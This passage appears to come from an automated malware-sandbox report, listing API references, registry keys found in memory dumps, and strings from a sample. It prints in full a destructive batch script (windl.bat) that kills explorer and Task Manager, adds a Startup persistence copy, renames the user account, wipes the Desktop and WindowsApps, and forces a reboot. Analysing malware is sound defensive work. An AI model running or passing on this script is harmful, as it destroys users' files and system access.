00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "GetKeyState"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "DestroyIcon"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "RegisterWindowMessageA"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "GetStockObject"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "SelectObject"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "GetTextExtentPoint32A"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "CreateSolidBrush"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "DeleteObject"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "GetObjectA"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "CreateCompatibleDC"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "GetDIBits"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "DeleteDC"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "BitBlt"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "ShellExecuteExA"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "GetWindowTextLengthW"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "GetWindowTextW"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "SetWindowTextW"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "SendMessage"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "GetClassName"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "GetWindowTextLength"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "GetWindowText"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "SetWindowText"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "UnhookWindowsHookEx"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "SetWindowsHookEx"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "CallNextHookEx"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "MessageBox"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API (Indicator: "Beep"; Source: "00000000-00000944.00000000.70531.FF670000.00000002.mdmp, 00000000-00000944.00000001.72452.FF670000.00000002.mdmp, 00000000-00000944.00000002.74369.FF670000.00000002.mdmp")31:Tdf1,"@echo offtaskkill /f /im explorer.exetaskkill /f /im taskmgr.execopy %temp%\rniw.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\rniw.exe"wmic useraccount where name='%username%' set FullName='UR NEXT'wmic useraccount where name='%username%' rename 'UR NEXT'SET /a cr=0del /f /s /q %userprofile%\Desktop\*for /d %%p in (%userprofile%\Desktop\*) Do rd /Q /S "%%p"copy %temp%\text.txt "%userprofile%\Desktop\UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR N%cr%XT.txt"SET /a cr=%cr%+1if %cr%==28 copy %temp%\one.rtf %userprofile%\Desktop\OPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENME.rtfif not %cr%==400 goto ldel /f /s /q "C:\Program Files\WindowsApps\"shutdown /f /r /t 0" (Indicator: "@echo offtaskkill /f /im explorer.exetaskkill /f /im taskmgr.execopy %temp%\rniw.exe "c:\programdata\microsoft\windows\start menu\programs\startup\rniw.exe"wmic useraccount where name='%username%' set fullname='ur next'wmic useraccount where name='%username%' rename 'ur next'set /a cr=0del /f /s /q %userprofile%\desktop\*for /d %%p in (%userprofile%\desktop\*) do rd /q /s "%%p"copy %temp%\text.txt "%userprofile%\desktop\ur next ur next ur next ur next ur next ur next ur next ur n%cr%xt.txt"set /a cr=%cr%+1if %cr%==28 copy %temp%\one.rtf %userprofile%\desktop\openmeopenmeopenmeopenmeopenmeopenmeopenmeopenmeopenmeopenmeopenmeopenmeopenme.rtfif not %cr%==400 goto ldel /f /s /q "c:\program files\windowsapps\"shutdown /f /r /t 0") in Source: windl.bat, "@echo offtaskkill /f /im explorer.exetaskkill /f /im taskmgr.execopy %temp%\rniw.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\rniw.exe"wmic useraccount where name='%username%' set FullName='UR NEXT'wmic useraccount where name='%username%' rename 'UR NEXT'SET /a cr=0del /f /s /q %userprofile%\Desktop\*for /d %%p in (%userprofile%\Desktop\*) Do rd /Q /S "%%p":lcopy %temp%\text.txt "%userprofile%\Desktop\UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR N%cr%XT.txt"SET /a cr=%cr%+1if %cr%==28 copy %temp%\one.rtf %userprofile%\Desktop\OPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENME.rtfif not %cr%==400 goto ldel /f /s /q "C:\Program Files\WindowsApps\"shutdown /f /r /t 0" (Indicator: "@echo offtaskkill /f /im explorer.exetaskkill /f /im taskmgr.execopy %temp%\rniw.exe "c:\programdata\microsoft\windows\start menu\programs\startup\rniw.exe"wmic useraccount where name='%username%' set fullname='ur next'wmic useraccount where name='%username%' rename 'ur next'set /a cr=0del /f /s /q %userprofile%\desktop\*for /d %%p in (%userprofile%\desktop\*) do rd /q /s "%%p":lcopy %temp%\text.txt "%userprofile%\desktop\ur next ur next ur next ur next ur next ur next ur next ur n%cr%xt.txt"set /a cr=%cr%+1if %cr%==28 copy %temp%\one.rtf %userprofile%\desktop\openmeopenmeopenmeopenmeopenmeopenmeopenmeopenmeopenmeopenmeopenmeopenmeopenme.rtfif not %cr%==400 goto ldel /f /s /q "c:\program files\windowsapps\"shutdown /f /r /t 0") in Source: windl.bat, "copy %temp%\rniw.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\rniw.exe"" (Indicator: "copy %temp%\rniw.exe "c:\programdata\microsoft\windows\start menu\programs\startup\rniw.exe"") in Source: windl.bat, "copy %temp%\rniw.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\rniw.exe"" (Indicator: "copy %temp%\rniw.exe "c:\programdata\microsoft\windows\start menu\programs\startup\rniw.exe"") in Source: 00000000-00000944.00000000.70531.056C0000.00000004.mdmp 00000000-00000944.00000001.72452.056C0000.00000004.mdmp32:T47f1,"Software\Microsoft\Windows\CurrentVersion\Policies\System" in Source: DDoS Attack Server_ IP_ URL.bin "Software\Microsoft\Windows NT\CurrentVersion\Winlogon" in Source: DDoS Attack Server_ IP_ URL.bin "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" in Source: 6000017-MainWindow~WorkWorkWorkWork "Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon" in Source: 6000017-MainWindow~WorkWorkWorkWork "SOFTWARE\Microsoft\Wbem\CIMOM" in Source: 22962-42-01226116 "Y\MACHINE\SOFTWARE\Microsoft\Windows NT\" in Source: 00000000-00000944.00000000.70531.01438000.00000004.mdmp 00000000-00000944.00000001.72452.01438000.00000004.mdmp 00000000-00000944.00000002.74369.01438000.00000004.mdmp "\REGISTRY\MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" in Source: 00000000-00000944.00000000.70531.03620000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00000944.00000000.70531.03650000.00000004.mdmp 00000000-00000944.00000001.72452.03650000.00000004.mdmp 00000000-00000944.00000002.74369.03650000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00000944.00000000.70531.03650000.00000004.mdmp 00000000-00000944.00000001.72452.03650000.00000004.mdmp 00000000-00000944.00000002.74369.03650000.00000004.mdmp "ine\Software\Cla" in Source: 00000000-00000944.00000000.70531.03650000.00000004.mdmp "Read6HKEY_CURRENT_USER\Software\Microsoft\Avalon.Packaging\T" in Source: 00000000-00000944.00000000.70531.03990000.00000004.mdmp 00000000-00000944.00000001.72452.03990000.00000004.mdmp 00000000-00000944.00000002.74369.03990000.00000004.mdmp "E\SOFTWARE\Microsoft\Windows NT\rrrr" in Source: 00000000-00000944.00000000.70531.03C78000.00000004.mdmp 00000000-00000944.00000001.72452.03C78000.00000004.mdmp 00000000-00000944.00000002.74369.03C78000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00000944.00000000.70531.056C0000.00000004.mdmp 00000000-00000944.00000001.72452.056C0000.00000004.mdmp "Software\Microsoft\Tracing\WPF" in Source: 00000000-00000944.00000000.70531.056C0000.00000004.mdmp 00000000-00000944.00000001.72452.056C0000.00000004.mdmp "HKEY_CURRENT_USER\Software\Microsoft\Tracing\WPF" in Source: 00000000-00000944.00000000.70531.056C0000.00000004.mdmp 00000000-00000944.00000001.72452.056C0000.00000004.mdmp "SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" in Source: 00000000-00000944.00000000.70531.056C0000.00000004.mdmp 00000000-00000944.00000001.72452.056C0000.00000004.mdmp "HKEY_LOCAL_MACHINE\" in Source: 00000000-00000944.00000000.70531.056C0000.00000004.mdmp 00000000-00000944.00000001.72452.056C0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" in Source: 00000000-00000944.00000000.70531.056C0000.00000004.mdmp 00000000-00000944.00000001.72452.056C0000.00000004.mdmp "Software\Microsoft\.NETFramework" in Source: 00000000-00000944.00000000.70531.056C0000.00000004.mdmp 00000000-00000944.00000001.72452.056C0000.00000004.mdmp "Software\Microsoft\Net Framework Setup\NDP\v4\Client\" in Source: 00000000-00000944.00000000.70531.056C0000.00000004.mdmp 00000000-00000944.00000001.72452.056C0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Net Framework Setup\NDP\v4\Client\" in Source: 00000000-00000944.00000000.70531.056C0000.00000004.mdmp 00000000-00000944.00000001.72452.056C0000.00000004.mdmp "Software\Microsoft\Net Framework Setup\NDP\v4\Client" in Source: 00000000-00000944.00000000.70531.056C0000.00000004.mdmp 00000000-00000944.00000001.72452.056C0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Net Framework Setup\NDP\v4\Client" in Source: 00000000-00000944.00000000.70531.056C0000.00000004.mdmp 00000000-00000944.00000001.72452.056C0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00000944.00000000.70531.056C0000.00000004.mdmp 00000000-00000944.00000001.72452.056C0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\XML" in Source: 00000000-00000944.00000000.70531.056C0000.00000004.mdmp 00000000-00000944.00000001.72452.056C0000.00000004.mdmp "Software\Microsoft\Avalon.Packaging\" in Source: 00000000-00000944.00000000.70531.056C0000.00000004.mdmp 00000000-00000944.00000001.72452.056C0000.00000004.mdmp "Software\Microsoft\Avalon.Packaging" in Source: 00000000-00000944.00000000.70531.056C0000.00000004.mdmp 00000000-00000944.00000001.72452.056C0000.00000004.mdmp "HKEY_CURRENT_USER\Software\Microsoft\Avalon.Graphics\" in Source: 00000000-00000944.00000000.70531.056C0000.00000004.mdmp 00000000-00000944.00000001.72452.056C0000.00000004.mdmp "Software\Microsoft\Avalon.Graphics\" in Source: 00000000-00000944.00000000.70531.056C0000.00000004.mdmp 00000000-00000944.00000001.72452.056C0000.00000004.mdmp "Software\Microsoft\Avalon.Graphics" in Source: 00000000-00000944.00000000.70531.056C0000.00000004.mdmp 00000000-00000944.00000001.72452.056C0000.00000004.mdmp "HKEY_CURRENT_USER\Software\Microsoft\Avalon.Graphics" in Source: 00000000-00000944.00000000.70531.056C0000.00000004.mdmp 00000000-00000944.00000001.72452.056C0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Policies\System" in Source: 00000000-00000944.00000000.70531.056C0000.00000004.mdmp 00000000-00000944.00000001.72452.056C0000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Winlogon" in Source: 00000000-00000944.00000000.70531.056C0000.00000004.mdmp 00000000-00000944.00000001.72452.056C0000.00000004.mdmp "HKEY_CLASSES_ROOT\txtfile\DefaultIcon" in Source: 00000000-00000944.00000000.70531.056C0000.00000004.mdmp 00000000-00000944.00000001.72452.056C0000.00000004.mdmp "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" in Source: 00000000-00000944.00000000.70531.056C0000.00000004.mdmp 00000000-00000944.00000001.72452.056C0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" in Source: 00000000-00000944.00000000.70531.056C0000.00000004.mdmp 00000000-00000944.00000001.72452.056C0000.00000004.mdmp "\Registry\Machine\System\CurrentControlSet\Control\Keyboard Layout" in Source: 00000000-00000944.00000000.70531.FF670000.00000002.mdmp 00000000-00000944.00000001.72452.FF670000.00000002.mdmp 00000000-00000944.00000002.74369.FF670000.00000002.mdmp "Software\Microsoft\RegEdt32" in Source: 00000000-00000944.00000000.70531.FF670000.00000002.mdmp 00000000-00000944.00000001.72452.FF670000.00000002.mdmp 00000000-00000944.00000002.74369.FF670000.00000002.mdmp "SOFTWARE\\MICROSOFT\\CLOCK" in Source: 00000000-00000944.00000000.70531.FF670000.00000002.mdmp 00000000-00000944.00000001.72452.FF670000.00000002.mdmp 00000000-00000944.00000002.74369.FF670000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Devices" in Source: 00000000-00000944.00000000.70531.FF670000.00000002.mdmp 00000000-00000944.00000001.72452.FF670000.00000002.mdmp 00000000-00000944.00000002.74369.FF670000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\EXTENSIONS" in Source: 00000000-00000944.00000000.70531.FF670000.00000002.mdmp 00000000-00000944.00000001.72452.FF670000.00000002.mdmp 00000000-00000944.00000002.74369.FF670000.00000002.mdmp "SOFTWARE\\MICROSOFT\\CHARMAP" in Source: 00000000-00000944.00000000.70531.FF670000.00000002.mdmp 00000000-00000944.00000001.72452.FF670000.00000002.mdmp 00000000-00000944.00000002.74369.FF670000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\NETWORK\\PERSISTENT CONNECTIONS" in Source: 00000000-00000944.00000000.70531.FF670000.00000002.mdmp 00000000-00000944.00000001.72452.FF670000.00000002.mdmp 00000000-00000944.00000002.74369.FF670000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\PrinterPorts" in Source: 00000000-00000944.00000000.70531.FF670000.00000002.mdmp 00000000-00000944.00000001.72452.FF670000.00000002.mdmp 00000000-00000944.00000002.74369.FF670000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\TRUETYPE" in Source: 00000000-00000944.00000000.70531.FF670000.00000002.mdmp 00000000-00000944.00000001.72452.FF670000.00000002.mdmp 00000000-00000944.00000002.74369.FF670000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\TWAIN" in Source: 00000000-00000944.00000000.70531.FF670000.00000002.mdmp 00000000-00000944.00000001.72452.FF670000.00000002.mdmp 00000000-00000944.00000002.74369.FF670000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS HELP" in Source: 00000000-00000944.00000000.70531.FF670000.00000002.mdmp 00000000-00000944.00000001.72452.FF670000.00000002.mdmp 00000000-00000944.00000002.74369.FF670000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Windows" in Source: 00000000-00000944.00000000.70531.FF670000.00000002.mdmp 00000000-00000944.00000001.72452.FF670000.00000002.mdmp 00000000-00000944.00000002.74369.FF670000.00000002.mdmp "\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Explorer" in Source: 00000000-00000944.00000001.72452.01438000.00000004.mdmp "\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows\App Managementent}df" in Source: 00000000-00000944.00000001.72452.01438000.00000004.mdmp 00000000-00000944.00000002.74369.01438000.00000004.mdmp "\REGISTRY\MACHINE\Software\Microsoft\WindowsRuntime" in Source: 00000000-00000944.00000001.72452.03650000.00000004.mdmp 00000000-00000944.00000002.74369.03650000.00000004.mdmp "\REGISTRY\MACHINE\Software\Microsoft\Direct3D\Direct3D12" in Source: 00000000-00000944.00000001.72452.03AC0000.00000004.mdmp 00000000-00000944.00000002.74369.03AC0000.00000004.mdmp "\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Direct3D\Direct3D12" in Source: 00000000-00000944.00000001.72452.03AC0000.00000004.mdmp 00000000-00000944.00000002.74369.03AC0000.00000004.mdmp "\REGISTRY\USER\S-\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microso\Registry\Ma\REGISTRY\M\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Direct3D\Direct3D12" in Source: 00000000-00000944.00000001.72452.03AC0000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Direct3D\Direct3D12" in Source: 00000000-00000944.00000001.72452.03AC0000.00000004.mdmp 00000000-00000944.00000002.74369.03AC0000.00000004.mdmp "001\Software\Microsoft\Direct3D\Direct3D12" in Source: 00000000-00000944.00000001.72452.03AC0000.00000004.mdmp 00000000-00000944.00000002.74369.03AC0000.00000004.mdmp "\RE\RE\REGISTRY\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Direct3D\Direct3D12" in Source: 00000000-00000944.00000001.72452.03AC0000.00000004.mdmp "\REGISTRY\MACHINE\Software\Microsoft\DirectDraw" in Source: 00000000-00000944.00000001.72452.03AC0000.00000004.mdmp 00000000-00000944.00000002.74369.03AC0000.00000004.mdmp "\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\DirectDraw" in Source: 00000000-00000944.00000001.72452.03AC0000.00000004.mdmp 00000000-00000944.00000002.74369.03AC0000.00000004.mdmp "\RE\REGISTRY\MACHINE\SOFTWARE\WOW6432Nod\Registry\Machine\Software\Classes\WOW643\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\DirectDraw" in Source: 00000000-00000944.00000001.72452.03AC0000.00000004.mdmp "\REGISTRY\MACHI\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Direct3D\Direct3D12" in Source: 00000000-00000944.00000001.72452.03AC0000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Avalon.Graphics" in Source: 00000000-00000944.00000001.72452.03AC0000.00000004.mdmp 00000000-00000944.00000001.72452.08058000.00000004.mdmp 00000000-00000944.00000002.74369.03AC0000.00000004.mdmp 00000000-00000944.00000002.74369.08058000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\WOW6432Node\CLSID\{F81B1B56-7613-4EE4-BC05-1FAB5DE5C07E}\InProcServer32" in Source: 00000000-00000944.00000001.72452.03AC0000.00000004.mdmp "\RE\REGISTRY\MA\REGISTRY\USER\S-1-\REGISTRY\MACHINE\Software\Classes\WOW6432Node\CLSID\{F81B1B56-7613-4EE4-BC05-1FAB5DE5C07E}\InProcServer32" in Source: 00000000-00000944.00000001.72452.03AC0000.00000004.mdmp "\REGIS\REGISTRY\USER\S-1-5-21-735145574-357021835\Registry\Machine\Softw\REGISTRY\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\DirectDraw" in Source: 00000000-00000944.00000001.72452.03AC0000.00000004.mdmp "REGISTRY\MACHINE\Software\Microsoft\Direct3D\Direct3D12" in Source: 00000000-00000944.00000001.72452.03AC0000.00000004.mdmp 00000000-00000944.00000002.74369.03AC0000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Direct3D\Direct3D12" in Source: 00000000-00000944.00000001.72452.03AC0000.00000004.mdmp 00000000-00000944.00000002.74369.03AC0000.00000004.mdmp "REGISTRY\MACHINE\Software\Microsoft\Avalon.Graphics" in Source: 00000000-00000944.00000001.72452.03AC0000.00000004.mdmp 00000000-00000944.00000002.74369.03AC0000.00000004.mdmp "61-1001\Software\Microsoft\Direct3D\Direct3D12" in Source: 00000000-00000944.00000001.72452.03AC0000.00000004.mdmp 00000000-00000944.00000002.74369.03AC0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{F81B1B56-7613-4EE4-BC05-1FAB5DE5C07E}\Instance" in Source: 00000000-00000944.00000001.72452.03AC0000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Avalon.Graphics" in Source: 00000000-00000944.00000001.72452.03AC0000.00000004.mdmp 00000000-00000944.00000002.74369.03AC0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{F81B1B56-7613-4EE4-BC05-1FAB5DE5C07E}" in Source: 00000000-00000944.00000001.72452.03AC0000.00000004.mdmp 00000000-00000944.00000001.72452.088F0000.00000004.mdmp "Y\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Mi" in Source: 00000000-00000944.00000001.72452.054A8000.00000004.mdmp 00000000-00000944.00000002.74369.054A8000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\Windows Presentation Foundation\Features" in Source: 00000000-00000944.00000001.72452.056C0000.00000004.mdmp "Software\Microsoft\.NETFramework\Windows Presentation Foundation\Features" in Source: 00000000-00000944.00000001.72452.056C0000.00000004.mdmp "Software\Microsoft\Avalon.Touch\" in Source: 00000000-00000944.00000001.72452.056C0000.00000004.mdmp "Software\Microsoft\Avalon.Touch" in Source: 00000000-00000944.00000001.72452.056C0000.00000004.mdmp "HKEY_CURRENT_USER\Software\Microsoft\Wisp\" in Source: 00000000-00000944.00000001.72452.056C0000.00000004.mdmp "Software\Microsoft\Wisp\Software\Microsoft\Wisp\Pen\SysEventParameters" in Source: 00000000-00000944.00000001.72452.056C0000.00000004.mdmp "Software\Microsoft\Wisp\Software\Microsoft\Wisp\Touch" in Source: 00000000-00000944.00000001.72452.056C0000.00000004.mdmp "HKEY_CLASSES_ROOT\Interface\{C247F616-BBEB-406A-AED3-F75E656599AE}" in Source: 00000000-00000944.00000001.72452.056C0000.00000004.mdmp "HKEY_CLASSES_ROOT\CLSID\{A5B020FD-E04B-4e67-B65A-E7DEED25B2CF}\LocalServer32" in Source: 00000000-00000944.00000001.72452.056C0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\CTF" in Source: 00000000-00000944.00000001.72452.056C0000.00000004.mdmp "HKEY_CURRENT_USER\Software\Microsoft\CTF" in Source: 00000000-00000944.00000001.72452.056C0000.00000004.mdmp "Software\Microsoft\CTF" in Source: 00000000-00000944.00000001.72452.056C0000.00000004.mdmp "SOFTWARE\Microsoft\CTF\TIP" in Source: 00000000-00000944.00000001.72452.056C0000.00000004.mdmp "NE\Software\Microsoft\CTF" in Source: 00000000-00000944.00000001.72452.056C0000.00000004.mdmp ";HKEY_CURRENT_USER\Software\Microsoft\CTF" in Source: 00000000-00000944.00000001.72452.056C0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\CTF;HKEY_CURRENT_USER\Software\Microsoft\CTF" in Source: 00000000-00000944.00000001.72452.056C0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\TIP" in Source: 00000000-00000944.00000001.72452.056C0000.00000004.mdmp "SOFTWARE\Microsoft\CTF\TIP\" in Source: 00000000-00000944.00000001.72452.056C0000.00000004.mdmp "SOFTWARE\Microsoft\CTF\TIP\{0000897b-83df-4b96-be07-0fb58b01c4a4}\LanguageProfile" in Source: 00000000-00000944.00000001.72452.056C0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\TIP\{0000897b-83df-4b96-be07-0fb58b01c4a4}\LanguageProfile" in Source: 00000000-00000944.00000001.72452.056C0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\TIP\{0000897b-83df-4b96-be07-0fb58b01c4a4}\LanguageProfile\0x00000000" in Source: 00000000-00000944.00000001.72452.056C0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\TIP\{0000897b-83df-4b96-be07-0fb58b01c4a4}\LanguageProfile\0x00000000\{0001bea3-ed56-483d-a2e2-aeae25577436}" in Source: 00000000-00000944.00000001.72452.056C0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00000944.00000001.72452.056C0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00000944.00000001.72452.056C0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00000944.00000001.72452.056C0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00000944.00000001.72452.056C0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00000944.00000001.72452.056C0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00000944.00000001.72452.056C0000.00000004.mdmp "Read2HKEY_CURRENT_USER\Software\Microsoft\Avalon.Touch\" (Indicator: "GetDC"; Source: "00000000-00000944.00000000.70531.03650000.00000004.mdmp, 00000000-00000944.00000001.72452.03650000.00000004.mdmp, 00000000-00000944.00000002.74369.03650000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00000944.00000000.70531.03650000.00000004.mdmp, 00000000-00000944.00000001.72452.03650000.00000004.mdmp, 00000000-00000944.00000002.74369.03650000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00000944.00000000.70531.03650000.00000004.mdmp, 00000000-00000944.00000001.72452.03650000.00000004.mdmp, 00000000-00000944.00000002.74369.03650000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00000944.00000000.70531.03650000.00000004.mdmp, 00000000-00000944.00000001.72452.03650000.00000004.mdmp, 00000000-00000944.00000002.74369.03650000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00000944.00000000.70531.03650000.00000004.mdmp, 00000000-00000944.00000001.72452.03650000.00000004.mdmp, 00000000-00000944.00000002.74369.03650000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00000944.00000000.70531.03650000.00000004.mdmp, 00000000-00000944.00000001.72452.03650000.00000004.mdmp, 00000000-00000944.00000002.74369.03650000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; 